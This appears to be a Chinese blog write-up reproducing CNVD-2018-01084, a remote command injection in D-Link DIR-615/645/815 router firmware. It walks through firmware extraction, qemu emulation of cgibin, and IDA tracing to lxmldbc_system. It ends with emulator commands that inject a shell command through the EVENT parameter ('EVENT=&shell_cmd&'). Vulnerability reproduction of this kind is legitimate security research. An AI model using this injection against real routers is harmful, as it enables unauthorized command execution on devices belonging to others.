Dlink路由器 CNVD-2018-01084 远程命令执行漏洞 复现分析

Dlink路由器 CNVD-2018-01084复现分析

0x01 背景介绍

D-Link DIR 615/645/815路由器1.03及之前的固件版本存在远程命令执行漏洞。该漏洞是由于service.cgi中拼接了HTTP POST请求中的数据,造成后台命令拼接,导致可执行任意命令

cnvd上的漏洞说明:https://www.cnvd.org.cn/flaw/show/CNVD-2018-01084

0x02 固件分析

  1. 在官网获取漏洞版本的固件:DIR645A1_FW102B08.bin

  2. 解压固件,获得文件系统

    (1)安装sasquatch 在这里插入图片描述
    ​ 需要安装sasquatch

    ​ https://github.com/devttys0/sasquatch

    (2)binwalk
    在这里插入图片描述
    在这里插入图片描述
    ​ 获得完整的文件系统
    CGI中一般通过getenv或stdlib库函数getenv来获得环境变量获取post过来的数据,

getenv

要注入的命令放到request_uri环境变量时候成功

0x03 固件仿真

​ 使用qemu user mode 对固件进行部分仿真,对象是cgibin

chroot . ./qemu-mipsel-static ./htdocs/cgibin

​ 由于chroot . 改变根目录 无法搜索环境变量 qemu-mipsel-static

​ 将其拷贝至当前目录 以./qemu-mipsel-static调用
在这里插入图片描述
​ 发现提示unknown command cgibin

​ 使用IDA分析main函数,发现:

在这里插入图片描述

​ 将第一个参数与XXX.cgi做对比,选择执行XXX_main函数

​ 那么,使用qemu -0方式 指定第一个参数

chroot . ./qemu-mipsel-static -0 "service.cgi" ./htdocs/cgibin

在这里插入图片描述
现在只要确定漏洞的调用链,并构造HTTP POST请求即可。

0x04 漏洞分析

​ 命令注入一般发生在危险函数出现的地方,例如system, execve,execlp

​ 以本漏洞的cgibin文件为例,使用IDA对system溯源分析

在这里插入图片描述

漏洞在lxmldbc_system函数
在这里插入图片描述

溯源可得
在这里插入图片描述

​ 构造 EVENT=&shell_cmd& 则对于

​ lxmldbc_system(“event %s > /dev/null”, v5)

​ 等价为:system(event & shell_cmd & > /dev/null)

​ 可注入shell_cmd

溯源至main函数,构造完整的POST请求

​ CGI中一般通过getenv来获得环境变量获取post过来的数据。在cgibin中未找到stdin,scanf这样的函数或者字符串,因此把要注入的命令当做输入参数传递不能成功,仔细检查每一个genenv,把要注入的命令放到request_uri环境变量时候成功。

在这里插入图片描述
In cgibin_parse_request
在这里插入图片描述
​ 最终脚本:

sudo chroot . ./qemu-mipsel-static  \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=100 \
-E REQUEST_URI="service.cgi?EVENT=%26ls%ls" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="uid=ztl" \
./htdocs/cgibin 

在这里插入图片描述
异常错误??
在IDA中搜索:
在这里插入图片描述
可视化调用链:
在这里插入图片描述

0x05 动态调试

sudo chroot . ./qemu-mipsel-static -strace -g 1234	 \
-0 "service.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=100 \
-E REQUEST_URI="service.cgi?EVENT=%26ls%26" \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE="uid=ztl" \
./htdocs/cgibin 

发现问题在cgibin_parse_request函数

在这里插入图片描述

动态调试,修改对应寄存器的值,使得可以正常运行至system
在这里插入图片描述

跳过 sess_validate函数(仿真环境没有路由器的证书等配置)
在这里插入图片描述

​ 成功执行ls函数,并打印
在这里插入图片描述

0x06 漏洞利用

构造EVENT=&shell_cmd&

即可注入shell_cmd

​ 以删除某文件为例
在这里插入图片描述
​ 最终效果:
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值